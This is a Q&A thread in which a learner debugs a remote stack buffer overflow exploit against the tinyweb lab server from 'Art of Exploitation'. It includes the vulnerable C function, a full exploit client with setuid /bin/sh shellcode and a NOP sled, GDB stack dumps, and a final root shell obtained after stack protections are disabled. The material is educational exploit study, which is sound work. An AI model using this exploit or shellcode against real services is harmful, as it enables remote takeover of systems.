I've been working on a buffer overflow from Jon Erickson's Art of Exploitation for a few days now, and I don't understand why I'm getting a segmentation fault. As far as I can tell, the return address is being overwritten properly with an address in the NOP sled, but the program throws a segmentation fault every time it reaches the return instruction at the end of the stack frame.
The vulnerable section of the code is the length = recv_line(sockfd, request);
as the buffer size is never checked. The entire function taken from the tinyweb program follows-
void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;
printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
ptr = strstr(request, " HTTP/");
if(ptr == NULL){
printf(" NOT HTTP!\n");
} else {
*ptr = 0;
ptr = NULL;
if(strncmp(request, "GET ", 4) == 0)
ptr = request + 4;
if(strncmp(request, "HEAD ", 5) ==0)
ptr = request + 5;
if(ptr == NULL){
printf("\tUNKNOWN REQUEST!");
}
else {
if(ptr[strlen(ptr) -1] == '/')
strcat(ptr, "index.html");
strcpy(resource, WEBROOT);
strcat(resource, ptr);
fd = open(resource, O_RDONLY, 0);
printf("\tOpening \'%s\'\t", resource);
if(fd == -1){
printf(" 404 Not Found\n");
send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
}
else{
printf(" 200 OK\n");
send_string(sockfd, "HTTP/1.0 200 OK\r\n");
send_string(sockfd, "Server Tiny webserver\r\n\r\n");
if(ptr == request + 4){
if( (length = get_file_size(fd)) == -1)
fatal("getting resource file size");
if( (ptr = (unsigned char *) malloc(length)) == NULL)
fatal("allocating memory for reading resource");
read(fd, ptr, length);
send(sockfd, ptr, length, 0);
free(ptr);
}
close(fd);
}
}
}
printf("Shutting down socket.\n");
shutdown(sockfd, SHUT_RDWR);
printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
}
The exploit code follows below-
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "hacking.h"
#include "hacking-network.h"
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
#define OFFSET 524
#define RETADDR 0xbfdaf708
int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];
if(argc < 1){
printf("Usage: %s <hostname> <# of A's to insert>\n", argv[0]);
exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("looking up hostname");
if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
//count = atoi(argv[2]);
//printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);
if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
fatal("connecting to target server");
bzero(buffer, 600);
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n");
printf("Exploit buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);
exit(0);
}
Here is the information from GDB
:~/programs/c/exec$ ps aux | grep tinyweb
2747 0.1 2.3 97432 48012 pts/1 Sl Dec15 2:37 gedit tinyweb_exploit.c
root 12444 0.0 0.0 1688 248 pts/2 S+ 18:32 0:00 ./tinyweb
12456 0.0 0.0 4012 768 pts/0 S+ 18:33 0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb
warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0 0x00aad4e0 0x0000000f 0xbfcee1c4
0xbfcee1b4: 0x00aacff4 0xbfcee218 0x08048e2f 0x00000004
0xbfcee1c4: 0xbfcee1e4 0x00000004 0xbfcee204 0x00000004
0xbfcee1d4: 0x0804aff4 0xbfcee1e8 0x08048658 0x00000010
(gdb) bt
#0 handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1 0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedfe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcedff0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee000: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee010: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee020: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee030: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee040: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee050: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee060: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee070: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee080: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee090: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee0d0: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xbfcee0e0: 0xb099c931 0x6a80cda4 0x6851580b 0x68732f2f
0xbfcee0f0: 0x69622f68 0x51e3896e 0x8953e289 0x9080cde1
0xbfcee100: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee110: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee120: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee130: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee140: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee160: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee170: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfcee1a0: 0x90909090 0x90909090 0x90909090 0x00000211
0xbfcee1b0: 0x90909090 0x90909090 0x90909090 0xbfcee078
0xbfcee1c0: 0x0000000d 0xbfcee1e4 0x00000005 0xbfcee204
0xbfcee1d0: 0x00000004 0x0804aff4 0xbfcee1e8 0x08048658
0xbfcee1e0: 0x00000010 0xd4920002 0x0100007f 0x00000000
0xbfcee1f0: 0x00000000 0x51000002 0x00000000 0x00000000
0xbfcee200: 0x00000000 0x00000001
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip 0x80491b1 0x80491b1 <handle_connection+893>
(gdb) x/i 0x080491b1
=> 0x80491b1 <handle_connection+893>: ret
The tinyweb program is started, and then GDB is attached to the program. A breakpoint is set to determine where the buffer is located in memory (request @ 0xbfcedfb0
). bt
is used to determine what the current return address is and its location (ret address 0x08048e2f
located at 0xbfcee1bc
) The return address is determined to be 524 bytes from the buffer. The exploit uses a return address 200 bytes into the buffer, and puts the shellcode 300 bytes in. After the exploit is run, the buffer is examined, containing the NOP sled, the shellcode, and clearly showing the original return address at 0xbfcee1bc
which had 0x08048e2f
now containing the address 0xbfcee078
, which is clearly an address in the buffer pointing to a NOP. However, when the program is continued, it throws a segmentation fault. After the segmentation fault the instruction pointer is examined, pointing to a line in the handle connection stack frame. When examined, this shows the return instruction.
Why is it throwing a segmentation fault at the return instruction when there is a valid memory address placed there for it to return to??
Im embarrassed I didn't notice that shellcode bit earlier. Then again, I haven't gotten the earlier exploits to work either yet courtesy of ASLR, so I never looked that closely at the shellcode. Anyways here is what I changed it to-
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";
............1.1.1......j.XQh//bin/sh..Q..S.....
Unfortunately, Im looking at the same issue. Ive got some more GDB shown below. As best I can tell, when the RET is called, somehow the sockfd variable is gets screwed up, but as the DEBUG prints show, the sockfd doesnt get changed. Ive tried stepping through the instructions at the end to see whats going on, but that hasnt revealed much...
[DEBUG] hc:3 sockfd is at bfefcae0 and contains 0x0000000d
NOT HTTP!
Shutting down socket.
[DEBUG] hc:4 sockfd is at bfefcae0 and contains 0x0000000d
Segmentation fault (core dumped)
(gdb) list 120
115 send(sockfd, ptr, length, 0);
116 free(ptr);
117 }
118 close(fd);
119 }
120 }
121 }
122 printf("Shutting down socket.\n");
123 shutdown(sockfd, SHUT_RDWR);
124 printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
125 }
126
127 int get_file_size(int fd){
128 struct stat stat_struct;
129
130 if(fstat(fd, &stat_struct) == -1)
131 return -1;
132 return (int) stat_struct.st_size;
133 }
134
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) break 120
Breakpoint 2 at 0x804916f: file ../code/tinyweb.c, line 120.
Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
122 printf("Shutting down socket.\n");
(gdb) x/170xw request
0xbfefc8d0: 0x90909090 0x90909090 0x90909090 0x90909090
....Output Trimmed....
0xbfefc990: 0x90909090 0x90909090 0x90909090 0x90909090
^
...Output Trimmed.... |________________________RET address location in NOP sled
0xbfefc9f0: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xbfefca00: 0xb099c931 0x6a80cda4 0x6851580b 0x69622f2f
0xbfefca10: 0x68732f6e 0x8951e389 0xe18953e2 0x909080cd
0xbfefca20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefca90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefcaa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefcab0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfefcac0: 0x90909090 0x00000000 0x90909090 0x00000211
0xbfefcad0: 0x90909090 0x90909090 0x90909090 0xbfefc998<= RET address
0xbfefcae0: 0x0000000d 0xbfefcb04 0x00000006 0xbfefcb24
0xbfefcaf0: 0x00000004 0x0804aff4 0xbfefcb08 0x08048658
0xbfefcb00: 0x00000010 0xd9a40002 0x0100007f 0x00000000
0xbfefcb10: 0x00000000 0x51000002 0x00000000 0x00000000
0xbfefcb20: 0x00000000 0x00000001 0x00000006 0x00000003
0xbfefcb30: 0x080491f0 0x00000000 0xbfefcbb8 0x00126ce7
0xbfefcb40: 0x00000001 0xbfefcbe4 0xbfefcbec 0xb7810848
0xbfefcb50: 0xbfefcc4c 0xffffffff 0x00b0dff4 0x08048497
0xbfefcb60: 0x00000001 0xbfefcba0 0x00aff136 0x00b0ead0
0xbfefcb70: 0xb7810b28 0x00268ff4
(gdb) bt
#0 handle_connection (sockfd=13, client_addr_ptr=0xbfefcb04) at ../code/tinyweb.c:122
#1 0xbfefc998 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/20i $eip
=> 0x804916f <handle_connection+827>: movl $0x804985b,(%esp)
0x8049176 <handle_connection+834>: call 0x804880c <puts@plt>
0x804917b <handle_connection+839>: mov 0x8(%ebp),%eax
0x804917e <handle_connection+842>: movl $0x2,0x4(%esp)
0x8049186 <handle_connection+850>: mov %eax,(%esp)
0x8049189 <handle_connection+853>: call 0x804868c <shutdown@plt>
0x804918e <handle_connection+858>: mov 0x8(%ebp),%edx
0x8049191 <handle_connection+861>: mov $0x8049874,%eax
0x8049196 <handle_connection+866>: mov %edx,0x8(%esp)
0x804919a <handle_connection+870>: lea 0x8(%ebp),%edx
0x804919d <handle_connection+873>: mov %edx,0x4(%esp)
0x80491a1 <handle_connection+877>: mov %eax,(%esp)
0x80491a4 <handle_connection+880>: call 0x804878c <printf@plt>
0x80491a9 <handle_connection+885>: add $0x414,%esp
0x80491af <handle_connection+891>: pop %ebx
0x80491b0 <handle_connection+892>: pop %ebp
0x80491b1 <handle_connection+893>: ret
0x80491b2 <get_file_size>: push %ebp
0x80491b3 <get_file_size+1>: mov %esp,%ebp
0x80491b5 <get_file_size+3>: sub $0x78,%esp
(gdb) s
123 shutdown(sockfd, SHUT_RDWR);
(gdb) x/x &sockfd
0xbfefcae0: 0x0000000d
(gdb) s
124 printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
(gdb) i r eip
eip 0x804918e 0x804918e <handle_connection+858>
(gdb) s
125 }
(gdb) x/10i $eip
=> 0x80491a9 <handle_connection+885>: add $0x414,%esp
0x80491af <handle_connection+891>: pop %ebx
0x80491b0 <handle_connection+892>: pop %ebp
0x80491b1 <handle_connection+893>: ret
0x80491b2 <get_file_size>: push %ebp
0x80491b3 <get_file_size+1>: mov %esp,%ebp
0x80491b5 <get_file_size+3>: sub $0x78,%esp
0x80491b8 <get_file_size+6>: lea -0x60(%ebp),%eax
0x80491bb <get_file_size+9>: mov %eax,0x4(%esp)
0x80491bf <get_file_size+13>: mov 0x8(%ebp),%eax
(gdb) si
0x080491af 125 }
(gdb) i r eip
eip 0x80491af 0x80491af <handle_connection+891>
(gdb) si
0x080491b0 125 }
(gdb) i r eip
eip 0x80491b0 0x80491b0 <handle_connection+892>
(gdb) info registers
eax 0x3b 59
ecx 0xbfefc6a8 -1074805080
edx 0x26a360 2532192
ebx 0x90909090 -1869574000
esp 0xbfefcad8 0xbfefcad8
ebp 0xbfefcad8 0xbfefcad8
esi 0x0 0
edi 0x0 0
eip 0x80491b0 0x80491b0 <handle_connection+892>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) si
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) x/x sockfd
Cannot access memory at address 0x90909098
(gdb) x/x &sockfd
0x90909098: Cannot access memory at address 0x90909098
Any thoughts as to whats going on?
As promised earlier...here is the explanation along with the fix.
The reason the exploit failed on my system (Ubuntu 10.10) was the result of the implementation of the non executable stack (note the RW ending)
$ gcc -fno-stack-protector -g -z noexecstack -o tinyweb ../code/tinyweb.c && readelf -l
tinyweb_exploit | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
This resulted in the following GDB output.
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
61 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs (client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfff1c54: 0x00d09d90 0xbfff1c90 0x0000000f 0x00000003
0xbfff1c64: 0x00268ff4 0xbfff1cc8 0x08048cec 0x00000004
Programs return address at 0xbfff1c6c---^
0xbfff1c74: 0xbfff1c94 0xbfff1c90 0xbfff1cb4 0x00000004
0xbfff1c84: 0x0804aff4 0xbfff1c98 0x08048658 0x00000010
(gdb) bt
#0 handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
#1 0x08048cec in main () at ../code/tinyweb.c:49
(gdb) x/150x request
----Output Trimmed----
0xbfff1b70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfff1b80: 0x90909090 0x90909090 0x90909090 0xdb31c031
0xbfff1b90: 0xb099c931 0x6a80cda4 0x6851580b 0x68732f2f
0xbfff1ba0: 0x69622f68 0x51e3896e 0x8953e289 0x9080cde1
0xbfff1bb0: 0x90909090 0x90909090 0x90909090 0x90909090
----Output Trimmed----
0xbfff1c40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfff1c50: 0x90909090 0x00000000 0x90909090 0x00000211
0xbfff1c60: 0x90909090 0x90909090 0x90909090 0xbfff1b28
Overwritten Return Address-^
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08048fff in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:110
110 }
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
Although not shown, the return address now contains a valid memory location located higher up on the stack. Here is the output from the webprogram....
Request 127.0.0.1:44576 "����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
��������������������������������������1�1�1ə��̀j
Xqh//shh/bin��Q��S��̀�����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�##"
NOT HTTP!
Shutting down socket.
Segmentation fault
As previously noted, the exploit fails. After turning off the stack smashing protection and making the stack executable though....
$ gcc -z execstack -fno-stack-protector -g -o tinyweb ../code/tinyweb.c && readelf -l tinyweb | grep
-i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:61
61 printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), request);
(gdb) c
Continuing.
Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:109
109 shutdown(sockfd, SHUT_RDWR);
(gdb) c
Continuing.
process 13666 is executing new program: /bin/dash
And back to the webserver output.....
Request 127.0.0.1:52107 "������������������������
��������������������������������������������
��������������������������������������������
��������������������������������������������
���������������������������������������������
���������������������������������������������
���������������������������������������1�1�1ə��̀j
Xqh//shh/bin��Q��S��̀���������
������������������������������������������������
������������������������������������������������
�����������������������������������������������
���������������������##"
NOT HTTP!
Shutting down socket.
# whoami
root
Success.
This is a contrived example setup specifically to play around and learn how buffer overflows work, but the overall lesson about dealing with current protection measures is useful to know. While looking for an answer, I found this post about it which does a good job revisiting Smashing the Stack for Fun and Profit and explains the changes that developers have made to make it more difficult to exploit programs.
http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/
Hope this helps anyone who runs into the same issues down the road.
try to examine assembler code before your continue
:
x/10i $eip
and try to stepi
your code instead of continue
.
PS: I don't know for your book, but mine "Art of Exploitation" contained a lot of artificial bugs in code (like /shh/bin
instead of /bin/sh
and a lot of more hard noticeable ones). I think they're made intentionally, to protect the Internet from a lot of so called script kiddies that'll just copy-paste the exploits code. So, maybe this example contains this sort of 'bug' too.
I think after you step past this instruction:
=> 0x80491a9 <handle_connection+885>: add $0x414,%esp
... GDB lost the ability to figure out where sockfd
actually is (because the stack pointer changed), and so reports it as being part of the NOP sled instead.
The fact that sockfd
hasn't been overwritten is simply because of the x86 calling convention (remember, each of these operations is a subtraction from the stack pointer):
Your exploit overwrote (2) and (3) but not (1), so sockfd
remains intact. (it's just that after you step over the modification to %esp
, GDB can't figure out what sockfd
was.)
What would be more interesting is if you continue to single-step past the ret
instruction to see what happens next. You stopped your edit right before the interesting part. ;-)
User contributions licensed under CC BY-SA 3.0